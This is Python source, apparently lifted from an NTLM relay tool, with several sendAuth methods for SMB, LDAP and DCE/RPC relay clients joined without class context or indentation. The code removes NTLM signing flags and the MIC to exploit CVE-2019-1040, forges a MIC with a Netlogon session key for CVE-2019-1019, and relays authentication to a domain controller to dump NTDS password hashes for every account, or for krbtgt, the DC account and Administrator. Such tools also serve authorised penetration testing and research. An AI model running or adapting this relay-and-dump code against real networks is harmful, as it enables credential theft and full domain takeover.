def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
authMessage = NTLMAuthChallengeResponse()
authMessage.fromString(authenticateMessageBlob)
if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
authMessage['MIC'] = b''
authMessage['MICLen'] = 0
authMessage['Version'] = b''
authMessage['VersionLen'] = 0
authenticateMessageBlob = authMessage.getData()
#if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# # We need to unwrap SPNEGO and get the NTLMSSP
# respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
# authData = respToken['ResponseToken']
#else:
authData = authenticateMessageBlob
signingKey = None
if self.serverConfig.remove_target:
# Trying to exploit CVE-2019-1019
# Discovery and Implementation by @simakov_marina and @YaronZi
# respToken2 = SPNEGO_NegTokenResp(authData)
authenticateMessageBlob = authData
errorCode, signingKey = self.netlogonSessionKey(authData)
# Recalculate MIC
res = NTLMAuthChallengeResponse()
res.fromString(authenticateMessageBlob)
newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
#authData = respToken2.getData()
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
if signingKey:
logging.info("Enabling session signing")
self.session._SMBConnection.set_session_key(signingKey)
return token, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', authenticateMessageBlob[:1]
)[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
token = respToken2['ResponseToken']
else:
token = authenticateMessageBlob
authMessage = NTLMAuthChallengeResponse()
authMessage.fromString(token)
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
authMessage['MIC'] = b''
authMessage['MICLen'] = 0
authMessage['Version'] = b''
authMessage['VersionLen'] = 0
token = authMessage.getData()
with self.session.connection_lock:
self.authenticateMessageBlob = token
request = bind.bind_operation(self.session.version,
'SICILY_RESPONSE_NTLM', self, None)
response = self.session.post_send_single_response(
self.session.send('bindRequest', request, None))
result = response[0]
self.session.sasl_in_progress = False
if result['result'] == RESULT_SUCCESS:
self.session.bound = True
self.session.refresh_server_info()
return None, STATUS_SUCCESS
else:
if result[
'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
raise LDAPRelayClientException(
'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )'
)
return None, STATUS_ACCESS_DENIED
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
authMessage = NTLMAuthChallengeResponse()
authMessage.fromString(authenticateMessageBlob)
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
authMessage['MIC'] = b''
authMessage['MICLen'] = 0
authMessage['Version'] = b''
authMessage['VersionLen'] = 0
authenticateMessageBlob = authMessage.getData()
if unpack('B', authenticateMessageBlob[:1]
)[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob
authData = respToken2.getData()
else:
authData = authenticateMessageBlob
if self.session.getDialect() == SMB_DIALECT:
token, errorCode = self.sendAuthv1(authData, serverChallenge)
else:
token, errorCode = self.sendAuthv2(authData, serverChallenge)
return token, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', authenticateMessageBlob[:1]
)[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
auth_data = respToken2['ResponseToken']
else:
auth_data = authenticateMessageBlob
remoteOps = None
try:
signingkey = self.netlogonSessionKey(serverChallenge,
authenticateMessageBlob)
# Something failed
if signingkey == 0:
return
self.session.set_session_key(signingkey)
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(auth_data)
# Recalc mic
authenticateMessage['MIC'] = b'\x00' * 16
if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
newmic = ntlm.hmac_md5(
signingkey, self.negotiateMessage + self.challenge.getData() +
authenticateMessage.getData())
authenticateMessage['MIC'] = newmic
self.session.sendBindType3(authenticateMessage.getData())
# Now perform DRS bind
# This code comes from secretsdump directly
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
# I'm uber potential (c) Ben
drs['dwExtCaps'] = 0xffffffff
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(drs.getData())
resp = self.session.request(request)
# Initialize remoteoperations
if self.serverConfig.smbuser != '':
smbConnection = SMBConnection(self.target.netloc,
self.target.netloc)
smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
self.serverConfig.smblmhash, self.serverConfig.smbnthash)
remoteOps = RemoteOperations(smbConnection, False)
else:
remoteOps = PatchedRemoteOperations(None, False)
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
LOG.debug(
"DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again"
% drsExtensionsInt['dwReplEpoch'])
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(drs.getData())
resp = self.session.request(request)
remoteOps._RemoteOperations__hDrs = resp['phDrs']
domainName = authenticateMessage['domain_name'].decode('utf-16le')
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(
self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
# LOG.debug('DRSDomainControllerInfo() answer')
# resp.dump()
if resp['pmsgOut']['V2']['cItems'] > 0:
remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[
'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
LOG.error("Couldn't get DC info for domain %s" % domainName)
raise Exception('Fatal, aborting')
remoteOps._RemoteOperations__drsr = self.session
# Initialize NTDSHashes object
if self.serverConfig.smbuser != '':
# We can dump all :)
nh = NTDSHashes(None,
None,
isRemote=True,
history=False,
noLMHash=False,
remoteOps=remoteOps,
useVSSMethod=False,
justNTLM=False,
pwdLastSet=False,
resumeSession=None,
outputFileName='hashes',
justUser=None,
printUserStatus=False)
nh.dump()
else:
# Most important, krbtgt
nh = NTDSHashes(None,
None,
isRemote=True,
history=False,
noLMHash=False,
remoteOps=remoteOps,
useVSSMethod=False,
justNTLM=False,
pwdLastSet=False,
resumeSession=None,
outputFileName='hashes',
justUser=domainName + '/krbtgt',
printUserStatus=False)
nh.dump()
# Also important, DC hash (to sync fully)
av_pairs = authenticateMessage['ntlm'][44:]
av_pairs = AV_PAIRS(av_pairs)
serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode(
'utf-16le')
nh = NTDSHashes(None,
None,
isRemote=True,
history=False,
noLMHash=False,
remoteOps=remoteOps,
useVSSMethod=False,
justNTLM=False,
pwdLastSet=False,
resumeSession=None,
outputFileName='hashes',
justUser=domainName + '/' + serverName + '$',
printUserStatus=False)
nh.dump()
# Finally, builtin\Administrator providing it was not renamed
try:
nh = NTDSHashes(None,
None,
isRemote=True,
history=False,
noLMHash=False,
remoteOps=remoteOps,
useVSSMethod=False,
justNTLM=False,
pwdLastSet=False,
resumeSession=None,
outputFileName='hashes',
justUser=domainName + '/Administrator',
printUserStatus=False)
nh.dump()
except Exception:
LOG.error('Could not dump administrator (renamed?)')
return None, STATUS_SUCCESS
except Exception as e:
traceback.print_exc()
finally:
if remoteOps is not None:
remoteOps.finish()